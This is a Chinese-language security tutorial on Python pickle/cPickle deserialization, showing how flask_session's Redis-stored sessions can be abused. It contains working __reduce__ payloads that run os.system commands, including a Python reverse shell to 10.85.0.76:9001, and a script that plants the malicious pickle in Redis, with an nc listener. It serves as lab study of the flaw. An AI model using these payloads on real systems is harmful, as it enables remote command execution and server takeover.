Python反序列化安全问题

摘要：反序列化安全问题一这一段时间使用做开发，使用了存储，阅读了源码，发现在存储到过程中，利用了模块进行序列化以及反序列化正好根据该样例学习一波反序列化相关的安全问题，不足之处请各位表哥指出。

这一段时间使用flask做web开发，使用了redis存储session，阅读了flask_session源码，发现在存储session到redis过程中，利用了cPickle模块进行序列化以及反序列化；正好根据该样例学习一波Python反序列化相关的安全问题，不足之处请各位表哥指出。

Python中主要是用cPickle和pickle，前者是使用C语言实现，速度可达到后者的1000倍，使用范围较广（文档链接）

cPickle可以序列化很多类型的对象，详情见文档。基础语法就是：

import cPickle
a = 1
b = cPickle.dumps(a)
cPickle.loads(b)

文档中需要特别关注的是11.1.5.2，Pickling and unpickling extension types
这一节主要内容就是讲述cPickle序列化以及反序列化扩展类的过程，原文有一句我并没有完全理解意思：

When the Pickler encounters an object of a type it knows nothing about — such as an extension type

初始理解的意思是：当遇到解释器一无所知的扩展类型的时候，但是对于理解的这句话，扩展类型是什么意思？后来想到Python中元类是type，这里extension types应该理解为type类型的class。

class A(): # 旧类
     pass
type(A)

class B(object): # 新类 
     pass
type(B)

所以说这一节主要针对的应该是新类，即 class A(object) 此种写法创建的类（存疑，待补充完善）；当序列化以及反序列化的过程中中碰到未知类的时候，可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化，该方法可以返回string和tuple类型；问题主要出在tuple类型（后面会细述），通过构造__reduce__可达到命令执行的目的：

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = "whoami"
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

使用上述命令即可执行whoami命令。同时也可以利用该方式反弹shell：

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

然后在10.85.0.76执行nc -lvvp 9001，即可成功获取shell。

因为本次测试主要是依托于flask和redis，所以首先介绍一下flask_session。

flask中默认使用客户端session，如果想要配置服务端session，就需要使用flask_session配合Redis（后面皆以Redis为主）或者其他数据库。flask_session使用Redis存储session的过程（主要使用如下的接口实现，只展示部分代码）：

class RedisSessionInterface(SessionInterface):
    serializer = pickle  # 上文模块导入 import cPickle as pickle
    session_class = RedisSession
    
    def open_session(self, app, request):  # 获取session
        ……
        val = self.redis.get(self.key_prefix + sid)
        if val is not None:
            try:
                data = self.serializer.loads(val)  ## 将session值取出后反序列化
                return self.session_class(data, sid=sid)
            except:
                return self.session_class(sid=sid, permanent=self.permanent)
        return self.session_class(sid=sid, permanent=self.permanent)

    def save_session(self, app, session, response):  # 存储session
        ……
        val = self.serializer.dumps(dict(session)) ## 将session值序列化存储到redis
        

上述过程简单说就是：session存取过程存在序列化和反序列化的过程。
session在Redis中以键值对（key，value）的形式存储。假设我们能够操纵Redis中的键值对，将某个key的值设为我们序列化后恶意代码（比如上面反弹shell的代码样例），然后在将自身的cookie设置为该key，在访问网站的时候，服务端会对于根据key查找value并进行反序列化，进而反弹shell。下面对于该想法进行测试

测试环境：

victim：Ubuntu 14.04、Redis 2.8.4、IP：10.85.0.54

attacker：Win10、IP：10.85.0.76

此处我用flask编写了一个服务端样例：

import redis
import os
from flask import Flask,session
from flask_session import Session
app = Flask(__name__)
SESSION_TYPE = "redis"
SESSION_PERMANENT = False
SESSION_USE_SIGNER = False
SESSION_KEY_PREFIX = "session"
SESSION_REDIS = redis.Redis(host="127.0.0.1",port="6379")
SESSION_COOKIE_HTTPONLY = True
PERMANENT_SESSION_LIFETIME = 604800  # 7 days
app.config.from_object(__name__)
Session(app)


@app.route("/")
def hello_world():
    session["name"]="test"
    return "Hello World!"

if __name__ == "__main__":
    app.run(host="0.0.0.0")

将上述代码保存为app.py，第三方库安装完毕后，在服务器上运行

python app.py

即可在5000端口启动简单的服务端，访问如图所示，红框中是我们的sid，也是服务端查找session内容的key（因为设置了前缀，所以redis中key应该是session+sid）：

此时如果说我们将value设置为恶意代码会怎么样？

import cPickle
import os
import redis
class A(object):
    def __reduce__(self):
        a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
r = redis.Redis(host="127.0.0.1",port=6379)
r.set("此处为"session"和你的sid拼接",result)

运行上述代码后，我们可以发现我们的session内容变成下图所示内容：

此时在attacker监听9001端口：

nc -lvvp 9001

然后刷新浏览器中访问页面，发现成功反弹shell：

目前很多Python的Web应用都用Redis等NoSQL进行session存储，当攻击者有机会去操纵服务端的session的时候（比如Redis未授权访问），配合反序列化漏洞即可执行命令。上述提到的两个库cPickle和pickle，两个库实现的功能基本相似，后面会对于Python实现的pickle库进行分析为何会出现命令执行的漏洞。